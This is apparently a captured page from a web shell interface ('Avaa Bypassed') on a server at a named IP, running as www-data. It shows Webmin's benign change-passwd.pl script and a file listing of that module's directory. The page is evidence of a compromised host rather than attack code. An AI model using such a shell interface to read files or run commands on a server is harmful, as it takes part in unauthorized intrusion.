[ Avaa Bypassed ]




Upload:

Command:

www-data@3.145.17.123: ~ $
#!/usr/bin/perl
# change-passwd.pl
# Changes a user's password using the Users and Groups module. Also changes
# the password in other modules.

$no_acl_check++;
$ENV{'WEBMIN_CONFIG'} ||= "/etc/webmin";
$ENV{'WEBMIN_VAR'} ||= "/var/webmin";
if ($0 =~ /^(.*\/)[^\/]+$/) {
	chdir($1);
	}
chop($pwd = `pwd`);
$0 = "$pwd/change-passwd.pl";
do './passwd-lib.pl';

if ($ARGV[0] eq "--old" || $ARGV[0] eq "-old") {
	$askold = 1;
	shift(@ARGV);
	}
@ARGV == 1 || &errordie("usage: change-passwd.pl [-old] <username>");
if (&foreign_installed("useradmin") != 1) {
	&errordie("Users and Groups module is not supported on this OS");
	}

# Find the user, either in local password file or LDAP
$user = &find_user($ARGV[0]);
$user || &errordie("User $ARGV[0] does not exist");

$| = 1;
if ($askold) {
	# Ask for the old password
	&foreign_require("useradmin");
	print "(current) UNIX password: ";
	$old = <STDIN>;
	$old =~ s/\r|\n//g;
	&useradmin::validate_password($old, $user->{'pass'}) ||
		&errordie("Old password is incorrect");
	}

# Ask for password
print "New password: ";
$pass = <STDIN>;
$pass =~ s/\r|\n//g;
print "Retype new password: ";
$again = <STDIN>;
$again =~ s/\r|\n//g;
$pass eq $again || &errordie("Passwords don't match");

# Check password sanity
$err = &useradmin::check_password_restrictions($pass, $ARGV[0], $user);
&errordie($err) if ($err);

# Do the change!
&change_password($user, $pass, 1);

# All done
exit(0);

sub errordie
{
print STDERR @_,"\n";
exit(1);
}


Filemanager

Name Type Size Permission Actions
images Folder 0755
lang Folder 0755
CHANGELOG File 648 B 0644
acl_security.pl File 2.37 KB 0755
change-passwd.pl File 1.44 KB 0755
change_passwd.cgi File 1.6 KB 0755
config File 39 B 0644
config-openmamba-linux File 57 B 0644
config.info File 229 B 0644
config.info.af File 256 B 0644
config.info.ar File 371 B 0644
config.info.ca File 285 B 0644
config.info.cs File 288 B 0644
config.info.de File 271 B 0644
config.info.el File 456 B 0644
config.info.es File 307 B 0644
config.info.fa File 433 B 0644
config.info.fi File 261 B 0644
config.info.fr File 312 B 0644
config.info.hr File 0 B 0644
config.info.hu File 310 B 0644
config.info.it File 250 B 0644
config.info.ja File 307 B 0644
config.info.ko File 239 B 0644
config.info.ms File 259 B 0644
config.info.nl File 264 B 0644
config.info.no File 241 B 0644
config.info.pl File 231 B 0644
config.info.ru File 498 B 0644
config.info.tr File 299 B 0644
config.info.uk File 482 B 0644
config.info.zh_TW File 175 B 0644
defaultacl File 71 B 0644
edit_passwd.cgi File 1.8 KB 0755
index.cgi File 2.74 KB 0755
log_parser.pl File 423 B 0755
module.info File 218 B 0644
module.info.af File 26 B 0644
module.info.af.auto File 85 B 0644
module.info.ar File 130 B 0644
module.info.ar.auto File 19 B 0644
module.info.be File 0 B 0644
module.info.be.auto File 148 B 0644
module.info.bg File 0 B 0644
module.info.bg.auto File 164 B 0644
module.info.ca File 97 B 0644
module.info.ca.auto File 15 B 0644
module.info.cs File 21 B 0644
module.info.cs.auto File 78 B 0644
module.info.da File 0 B 0644
module.info.da.auto File 104 B 0644
module.info.de File 96 B 0644
module.info.de.auto File 15 B 0644
module.info.el File 0 B 0644
module.info.el.auto File 197 B 0644
module.info.es File 31 B 0644
module.info.es.auto File 86 B 0644
module.info.eu File 0 B 0644
module.info.eu.auto File 105 B 0644
module.info.fa File 0 B 0644
module.info.fa.auto File 157 B 0644
module.info.fi File 26 B 0644
module.info.fi.auto File 87 B 0644
module.info.fr File 32 B 0644
module.info.fr.auto File 95 B 0644
module.info.he File 0 B 0644
module.info.he.auto File 117 B 0644
module.info.hr File 0 B 0644
module.info.hr.auto File 104 B 0644
module.info.hu File 32 B 0644
module.info.hu.auto File 92 B 0644
module.info.it File 24 B 0644
module.info.it.auto File 79 B 0644
module.info.ja File 33 B 0644
module.info.ja.auto File 115 B 0644
module.info.ko File 22 B 0644
module.info.ko.auto File 105 B 0644
module.info.lt File 0 B 0644
module.info.lt.auto File 112 B 0644
module.info.lv File 0 B 0644
module.info.lv.auto File 96 B 0644
module.info.ms File 88 B 0644
module.info.ms.auto File 15 B 0644
module.info.mt File 0 B 0644
module.info.mt.auto File 105 B 0644
module.info.nl File 30 B 0644
module.info.nl.auto File 84 B 0644
module.info.no File 31 B 0644
module.info.no.auto File 75 B 0644
module.info.pl File 22 B 0644
module.info.pl.auto File 76 B 0644
module.info.pt File 0 B 0644
module.info.pt.auto File 98 B 0644
module.info.pt_BR File 25 B 0644
module.info.pt_BR.auto File 81 B 0644
module.info.ro File 0 B 0644
module.info.ro.auto File 103 B 0644
module.info.ru File 21 B 0644
module.info.ru.auto File 114 B 0644
module.info.sk File 20 B 0644
module.info.sk.auto File 84 B 0644
module.info.sl File 0 B 0644
module.info.sl.auto File 105 B 0644
module.info.sv File 0 B 0644
module.info.sv.auto File 106 B 0644
module.info.th File 0 B 0644
module.info.th.auto File 190 B 0644
module.info.tr File 31 B 0644
module.info.tr.auto File 92 B 0644
module.info.uk File 0 B 0644
module.info.uk.auto File 151 B 0644
module.info.ur File 0 B 0644
module.info.ur.auto File 160 B 0644
module.info.vi File 0 B 0644
module.info.vi.auto File 145 B 0644
module.info.zh File 0 B 0644
module.info.zh.auto File 88 B 0644
module.info.zh_TW File 24 B 0644
module.info.zh_TW.auto File 73 B 0644
passwd-lib.pl File 4.76 KB 0755
prefs.info File 39 B 0644
rbac-mapping File 73 B 0644
safeacl File 47 B 0644
save_passwd.cgi File 2.88 KB 0755